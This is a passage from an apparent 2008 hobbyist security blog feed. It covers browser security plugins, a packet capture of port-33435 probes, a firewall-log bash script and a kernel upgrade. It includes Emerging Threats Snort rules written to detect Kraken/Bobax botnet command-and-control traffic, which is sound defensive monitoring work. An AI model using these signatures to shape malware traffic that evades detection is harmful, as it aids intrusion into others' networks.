/&gt;I'm partial to Snort because an efficient and focused rule will always beat someone adding a site to a whitelist.  I've seen trusted sites be hacked before, so if a trusted site is violated and begins serving malware, you're going to be visiting that site and that site will be in your white list...with Firekeeper, it will alert and block any malicious traffic.&lt;br /&gt;&lt;br /&gt;The bad thing about Firekeeper is that someone always has to maintain the ruleset (be it the user or the developer or a combination of both).&lt;br /&gt;&lt;br /&gt;I'll continue to comment as I learn both tools.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8490088113813229285?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8490088113813229285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8490088113813229285' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8490088113813229285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8490088113813229285'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/04/bake-off-noscript-and-firekeeper.html' title='Bake-off: NoScript and Firekeeper'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8814100247573793120</id><published>2008-04-24T17:32:00.001-04:00</published><updated>2009-03-10T19:15:31.779-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='barebones'/><category scheme='http://www.blogger.com/atom/ns#' term='TigerDirect'/><category scheme='http://www.blogger.com/atom/ns#' term='Arctic Cooling'/><category scheme='http://www.blogger.com/atom/ns#' term='AMD'/><title type='text'>Just ordered another machine</title><content type='html'>Yeah, yeah, I've ordered yet ANOTHER machine:&lt;br /&gt;&lt;br /&gt;Abit NF-M2SV GeForce 6100 Socket AM2 Motherboard&lt;br /&gt;AMD Athlon 64 X2 4400+ Socket AM2 CPU&lt;br /&gt;Crucial 1024MB PC4200 DDR2 533MHz (X2)&lt;br /&gt;Seagate 250GB Serial ATA w/NCQ 7200/8MB/SATA-3G&lt;br /&gt;Power Up Silver 5511 ATX Mid-T Case w/450w&lt;br /&gt;&lt;br /&gt;All for $199 after $30 in rebates.  Note that there's no CPU heatsink/fan, no OS, no CD/DVD burner, and no vidcard (although there's an integrated one on the motherboard, which may get me through the testing/burn-in phase).&lt;br /&gt;&lt;br /&gt;I've just ordered an &lt;a href="https://www.microcenter.com/single_product_results.phtml?product_id=0262890"&gt;Arctic Cooling Freezer 64 LP CPU Cooler&lt;/a&gt; for $25 from Microcenter.  I'll order a CD/DVD burner in another week, and within the next month, I'll install a new vidcard.  I don't know what OS I'll utilize yet...maybe Linux, but more than likely Windows (only I don't want to buy Vista [or XP, really]).&lt;br /&gt;&lt;br /&gt;At this point, the barebones I ordered last year is still the better computer, but I spent quite a bit more for it.  Until the new one is up and running, I'm also using its 2gb of RAM in the older computer, for a total of 3gb of RAM (COD4 flies during loading!).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=3799768&amp;amp;Sku=A458-1208%20A"&gt;This&lt;/a&gt; is the deal I saw on Tigerdirect.com that made me purchase this machine.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8814100247573793120?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8814100247573793120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8814100247573793120' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8814100247573793120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8814100247573793120'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/04/just-ordered-another-machine.html' title='Just ordered another machine'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4068538781412648229</id><published>2008-04-24T09:13:00.001-04:00</published><updated>2009-03-10T19:11:11.297-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GPL'/><category scheme='http://www.blogger.com/atom/ns#' term='Verizon'/><category scheme='http://www.blogger.com/atom/ns#' term='Actiontec'/><category scheme='http://www.blogger.com/atom/ns#' term='Busybox'/><title type='text'>Verizon hit with GPL copyright lawsuit over router software</title><content type='html'>&lt;a href="http://arstechnica.com/news.ars/post/20071207-verizon-hit-with-gpl-copyright-lawsuit-over-router-software.html"&gt;This  article&lt;/a&gt; is old but interesting.  I've this router and I've Verizon's FIOS service.  Not long after purchasing this service, I perused Actiontec's website and had seen that they utilized Linux (this is, specifically, an issue with Verizon not including the source code for BusyBox to its customers, per v2 of the GPL) as the firmware for this router.  I also saw that Verizon offered firmware versions for this router on their pages.  I didn't think that they'd not release their software as GPL, though.  I think it was either forgotten or GPL was taken for granted (because GPL software is usually free).&lt;br /&gt;&lt;br /&gt;Anyways, this is a good read.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4068538781412648229?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4068538781412648229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4068538781412648229' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4068538781412648229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4068538781412648229'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/04/verizon-hit-with-gpl-copyright-lawsuit.html' title='Verizon hit with GPL copyright lawsuit over router software'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2426629929964465868</id><published>2008-04-14T09:35:00.000-04:00</published><updated>2008-04-14T11:43:20.825-04:00</updated><title type='text'>Port 33435</title><content type='html'>I'm doing some additional research on &lt;a href="http://isc.sans.org/diary.html?storyid=4273"&gt;this&lt;/a&gt; ISC SANS diary entry.  It appears that I have a prominent host attempting to connect to port 33435/UDP.  The traffic is showing in my FW logs but I wanted to get a sniff going to provide to ISC.sans.org.&lt;br /&gt;&lt;br /&gt;I used the following to capture the traffic:&lt;br /&gt;&lt;br /&gt;tcpdump -Xvvnnes -0 -i eth0 -w /tmp/isc-inv/isc-inv1 port 14323 or port 33435&lt;br /&gt;&lt;br /&gt;I got seven hits over several days:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;root@starchild:~# screen -r 32692&lt;br /&gt;7 packets received by filter&lt;br /&gt;0 packets dropped by kernel&lt;br /&gt;&lt;br /&gt;root@starchild:~# tcpdump -Xvvnnes -0 -r /tmp/isc-inv/isc-inv1&lt;br /&gt;reading from file /tmp/isc-inv/isc-inv1, link-type EN10MB (Ethernet)&lt;br /&gt;20:59:13.181494 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 659, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 0293 0000 0111 ae43 d834 6104  E..........C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;20:59:54.435063 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 2451, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 0993 0000 0111 a743 d834 6104  E..........C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;21:00:35.451099 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 4243, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 1093 0000 0111 a043 d834 6104  E..........C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;21:01:17.435358 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 6035, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 1793 0000 0111 9943 d834 6104  E..........C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;21:01:58.435072 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 7827, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 1e93 0000 0111 9243 d834 6104  E..........C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;21:02:40.432363 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 9619, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 2593 0000 0111 8b43 d834 6104  E...%......C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;21:03:21.431071 00:0c:db:fc:8b:59 &gt; fe:fd:40:3e:e7:dc, ethertype IPv4 (0x0800), length 46: (tos 0x0, ttl 1, id 11411, offset 0, flags [none], proto UDP (17), length 32) 216.52.97.4.11941 &gt; xxx.xxx.xxx.xxx.33435: [udp sum ok] UDP, length 4&lt;br /&gt;        0x0000:  4500 0020 2c93 0000 0111 8443 d834 6104  E...,......C.4a.&lt;br /&gt;        0x0010:  42a0 8d1e 2ea5 829b 000c 8f00 6956 4d47  B...........iVMG&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I've not yet taken the time to delve into the capture (will have some time when I get home today).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2426629929964465868?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2426629929964465868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2426629929964465868' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2426629929964465868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2426629929964465868'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/04/im-doing-some-additional-research-on.html' title='Port 33435'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6644236723441367789</id><published>2008-04-09T21:27:00.001-04:00</published><updated>2009-03-10T19:10:18.537-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BASH'/><category scheme='http://www.blogger.com/atom/ns#' term='Kraken'/><category scheme='http://www.blogger.com/atom/ns#' term='IPTables'/><category scheme='http://www.blogger.com/atom/ns#' term='fwlogsearch'/><title type='text'>BASH script to parse FW logs</title><content type='html'>I've created a BASH script that parses my FW logs to show me the activity in one screen dump and also show me the total hit count per log file (I have my FW logs show in /var/log/messages).&lt;br /&gt;&lt;br /&gt;The script is below:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@starchild:/tmp# cat fwlogsearch2.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;# Searches FW logs on Linode, which are contained in /var/log/messages* files&lt;br /&gt;#&lt;br /&gt;# v0.1:  couldn't get the script to work but could get the raw grep command to run flawlessly manually. Changed the "grep "$ip" /var/log/messages*" to "grep "$1" /var/log/messages*" and it worked!  Same for the wordcount line.&lt;br /&gt;&lt;br /&gt;       function search {&lt;br /&gt;               local ip  #ip is local to the function&lt;br /&gt;               echo "Searching... "&lt;br /&gt;               echo " "&lt;br /&gt;               grep "$1" /var/log/messages*&lt;br /&gt;               #cat /var/log/messages* | grep $ip&lt;br /&gt;               wordcount=`grep -c "$1" /var/log/messages*`&lt;br /&gt;               #wordcount=`cat /var/log/messages* | grep $ip | wc -l`&lt;br /&gt;               echo " "&lt;br /&gt;               echo "The number of instances this IP shows in $wordcount"&lt;br /&gt;       }&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;echo "Type in a number to search. Output will be dumped to stdout:"&lt;br /&gt;read number&lt;br /&gt;value_returned=$(search $number)&lt;br /&gt;echo    "$value_returned"&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The results look like:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@starchild:/tmp# ./fwlogsearch2.sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Type in a number to search. Output will be dumped to stdout:&lt;br /&gt;216.218.230.82&lt;br /&gt;Searching...&lt;br /&gt;&lt;br /&gt;/var/log/messages:Jun  3 05:23:30 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=216.218.230.82 DST=xxx.xxx.xxx.xxx LEN=48 TOS=0x00 PREC=0x00 TTL=125 ID=18621 DF PROTO=TCP SPT=1121 DPT=5900 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;/var/log/messages:Jun  3 05:23:33 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=216.218.230.82 DST=xxx.xxx.xxx.xxx LEN=48 TOS=0x00 PREC=0x00 TTL=125 ID=19854 DF PROTO=TCP SPT=1121 DPT=5900 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;/var/log/messages:Jun 21 15:57:52 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=216.218.230.82 DST=xxx.xxx.xxx.xxx LEN=48 TOS=0x00 PREC=0x00 TTL=125 ID=3853 DF PROTO=TCP SPT=45085 DPT=5900 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;/var/log/messages:Jun 21 15:57:55 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=216.218.230.82 DST=xxx.xxx.xxx.xxx LEN=48 TOS=0x00 PREC=0x00 TTL=125 ID=5091 DF PROTO=TCP SPT=45085 DPT=5900 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;/var/log/messages.1:May 29 22:08:44 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=216.218.230.82 DST=xxx.xxx.xxx.xxx LEN=48 TOS=0x00 PREC=0x00 TTL=125 ID=28369 DF PROTO=TCP SPT=29144 DPT=5900 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;/var/log/messages.1:May 29 22:08:47 starchild kernel: Connection attempt (UNPRIV): IN=eth0 OUT= MAC=fe:fd:40:3e:e7:dc:00:0c:db:f5:90:00:08:00 SRC=216.218.230.82 DST=xxx.xxx.xxx.xxx LEN=48 TOS=0x00 PREC=0x00 TTL=125 ID=29195 DF PROTO=TCP SPT=29144 DPT=5900 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;&lt;br /&gt;The number of instances this IP shows in /var/log/messages:4&lt;br /&gt;/var/log/messages.1:2&lt;br /&gt;/var/log/messages.2:0&lt;br /&gt;/var/log/messages.3:0&lt;br /&gt;/var/log/messages.4:0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@starchild:/tmp#  &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The plan is to add more functionality to this simple script (yeah, I'm enthused because I don't normally script things and rarely get it right without some type of extreme research or problem).&lt;br /&gt;&lt;br /&gt;Regarding Snort, I've recently added the following sigs to all three of my IDSs (regarding detecting Kraken activity):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;# Kraken sigs (Emerging Threats sigs)&lt;br /&gt;alert tcp $HOME_NET 1024: -&gt; $EXTERNAL_NET 447 (msg:"ET CURRENT_EVENTS Bobax/Kraken/Oderoor TCP 447 CnC? Channel Initial Packet Outbound"; flow:established; dsize:24; threshold:type threshold, track by_src, count 2, seconds 360; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008103; rev:1;)&lt;br /&gt;alert udp $HOME_NET 1024: -&gt; $EXTERNAL_NET 447 (msg:"ET CURRENT_EVENTS Bobax/Kraken/Oderoor UDP 447 CnC? Channel Initial Packet Outbound"; dsize:24; threshold:type threshold, track by_src, count 2, seconds 360; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008104; rev:1;)&lt;br /&gt;alert udp $EXTERNAL_NET 447 -&gt; $HOME_NET 1024: (msg:"ET CURRENT_EVENTS Bobax/Kraken/Oderoor UDP 447 CnC? Channel Initial Packet Inbound"; dsize:24; threshold:type threshold, track by_src, count 2, seconds 360; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008105; rev:1;)&lt;br /&gt;alert tcp $EXTERNAL_NET 447 -&gt; $HOME_NET 1024: (msg:"ET CURRENT_EVENTS Bobax/Kraken/Oderoor TCP 447 CnC? Channel Initial Packet Inbound"; flow:established; dsize:24; threshold:type threshold, track by_src, count 2, seconds 360; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008106; rev:1;)&lt;br /&gt;alert udp $EXTERNAL_NET 447 -&gt; $HOME_NET 1024: (msg:"ET CURRENT_EVENTS Possible Bobax/Kraken/Oderoor UDP 447 CnC? Channel Inbound"; threshold:type threshold, track by_src, count 5, seconds 60; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008107; rev:1;)&lt;br /&gt;alert tcp $EXTERNAL_NET 447 -&gt; $HOME_NET 1024: (msg:"ET CURRENT_EVENTS Possible Bobax/Kraken/Oderoor TCP 447 CnC? Channel Inbound"; flow:established; threshold:type threshold, track by_src, count 5, seconds 60; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008108; rev:1;)&lt;br /&gt;alert udp $HOME_NET 1024: -&gt; $EXTERNAL_NET 447 (msg:"ET CURRENT_EVENTS Possible Bobax/Kraken/Oderoor UDP 447 CnC? Channel Outbound"; threshold:type threshold, track by_src, count 5, seconds 60; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008109; rev:1;)&lt;br /&gt;alert tcp $HOME_NET 1024: -&gt; $EXTERNAL_NET 447 (msg:"ET CURRENT_EVENTS Possible Bobax/Kraken/Oderoor TCP 447 CnC? Channel Outbound"; flow:established; threshold:type threshold, track by_src, count 5, seconds 60; classtype:trojan-activity; reference:url,doc.emergingthreats.net/bin/view/Main/OdeRoor; sid:2008110; rev:1;)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I doubt I'll see anything, but I'm a bit concerned, as this malware affects Windows systems and is supposed to alert on non-internet activity...I do have Windows machines on my LAN.&lt;br /&gt;&lt;br /&gt;I also conducted some research on &lt;a href="http://isc.sans.org/diary.html?storyid=4273"&gt;this&lt;/a&gt; ISC SANS diary entry.  It appears that I have a prominent host attempting to connect to port 33435/UDP.  I counted 50 FW log hits from maybe 4 different IPs, with one IP being more active than the rest.&lt;br /&gt;&lt;br /&gt;root@starchild:/tmp# cat /var/log/messages* | grep "PT=33435" | wc -l&lt;br /&gt;    50&lt;br /&gt;&lt;br /&gt;root@starchild:/tmp# whois 216.52.97.4&lt;br /&gt;Internap Network Services PNAP-8-98 (NET-216-52-0-0-1)&lt;br /&gt;                                 216.52.0.0 - 216.52.255.255&lt;br /&gt;InterNAP Network Services, PNAP-OCY PNAP-OCY-INAP-BB-1 (NET-216-52-96-0-1)&lt;br /&gt;                                 216.52.96.0 - 216.52.97.255&lt;br /&gt;&lt;br /&gt;Looking at my logs, I also see 33436/UDP, 33437/UDP, 33438/UDP, and 33439/UDP being hit by hosts from PNAP hosts...strange...I'm thinking about blocking that whole huge range.&lt;br /&gt;&lt;br /&gt;Anyways, I thought some of this would be cool to share.&lt;br /&gt;&lt;br /&gt;Until next time!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6644236723441367789?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6644236723441367789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6644236723441367789' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6644236723441367789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6644236723441367789'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/04/bash-script-to-parse-fw-logs.html' title='BASH script to parse FW logs'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6891743466387897271</id><published>2008-03-30T23:31:00.001-04:00</published><updated>2008-04-09T21:27:02.249-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='FF'/><category scheme='http://www.blogger.com/atom/ns#' term='Firekeeper'/><category scheme='http://www.blogger.com/atom/ns#' term='plugin'/><category scheme='http://www.blogger.com/atom/ns#' term='IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Firekeeper, an IDPS system (plugin) for Firefox</title><content type='html'>&lt;a href="http://isc.sans.org/diary.html?storyid=2403"&gt;http://isc.sans.org/diary.html?storyid=2403&lt;/a&gt; explains Firekeeper, an IDS/IPS Firefox browser plugin.&lt;br /&gt;&lt;br /&gt;I'm running it on two machines that run Slackware (versions 11.0 and 12.0).  I may throw it on my work machine (which runs Windows XP), but that may be a bit daring.&lt;br /&gt;&lt;br /&gt;Firekeeper's homepage is at &lt;a href="http://firekeeper.mozdev.org/installation.html"&gt;http://firekeeper.mozdev.org/installation.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please share your experiences with this plugin...this is a great idea and may be a Holy Grail for malware that infects via browsers.&lt;br /&gt;&lt;br /&gt;Also, I've found what may be a good security site, &lt;a href="http://www.megasecurity.org/Main.html"&gt;http://www.megasecurity.org/Main.html&lt;/a&gt;.  It may take me awhile to read, as it has tons of data, it seems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6891743466387897271?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6891743466387897271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6891743466387897271' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6891743466387897271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6891743466387897271'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2008/03/firekeeper.html' title='Firekeeper, an IDPS system (plugin) for Firefox'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8287668966143910194</id><published>2008-02-21T20:03:00.001-05:00</published><updated>2008-02-21T20:14:42.900-05:00</updated><title type='text'>Kernel Upgrade</title><content type='html'>I've done the following (copy/paste):&lt;br /&gt;&lt;br /&gt;root@slackbox:~/kernel-patches# ls&lt;br /&gt;kernel-generic-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;kernel-huge-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;root@slackbox:~/kernel-patches# md5sum kernel-*&lt;br /&gt;ebf025aa30af925ac6817fe58811e921  kernel-generic-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;e35c66f2d765a221b509f1b7b463c9fe  kernel-generic-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;3f9e3783dd7d799a277ec3e79e8bb82d  kernel-huge-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;0503193191731bba693ed6ce35b8c26d  kernel-huge-smp-2.6.21.5_smp-i686-2_slack12.0.tgz&lt;br /&gt;root@slackbox:~/kernel-patches# &lt;br /&gt;root@slackbox:~/kernel-patches# &lt;br /&gt;root@slackbox:~/kernel-patches# &lt;br /&gt;root@slackbox:~/kernel-patches# upgradepkg kernel-generic-2.6.21.5-i486-2_slack12.0.tgz &lt;br /&gt;&lt;br /&gt;+==============================================================================&lt;br /&gt;| Upgrading kernel-generic-2.6.21.5-i486-2 package using ./kernel-generic-2.6.21.5-i486-2_slack12.0.tgz&lt;br /&gt;+==============================================================================&lt;br /&gt;&lt;br /&gt;Pre-installing package kernel-generic-2.6.21.5-i486-2_slack12.0...&lt;br /&gt;&lt;br /&gt;Removing package /var/log/packages/kernel-generic-2.6.21.5-i486-2-upgraded-2008-02-21,19:59:56...&lt;br /&gt;&lt;br /&gt;Installing package kernel-generic-2.6.21.5-i486-2_slack12.0... &lt;br /&gt;PACKAGE DESCRIPTION:&lt;br /&gt;kernel-generic: kernel-generic (a general purpose single processor Linux kernel)&lt;br /&gt;kernel-generic:&lt;br /&gt;kernel-generic: This is a Linux kernel with built-in support for most IDE controllers.&lt;br /&gt;kernel-generic: For filesystem support, or if you need to load support for a SCSI or&lt;br /&gt;kernel-generic: other controller, then you'll need to load one or more kernel modules&lt;br /&gt;kernel-generic: using an initial ramdisk, or initrd.  For more information about&lt;br /&gt;kernel-generic: creating an initrd, see the README.initrd file in the /boot directory.&lt;br /&gt;kernel-generic:&lt;br /&gt;Executing install script for 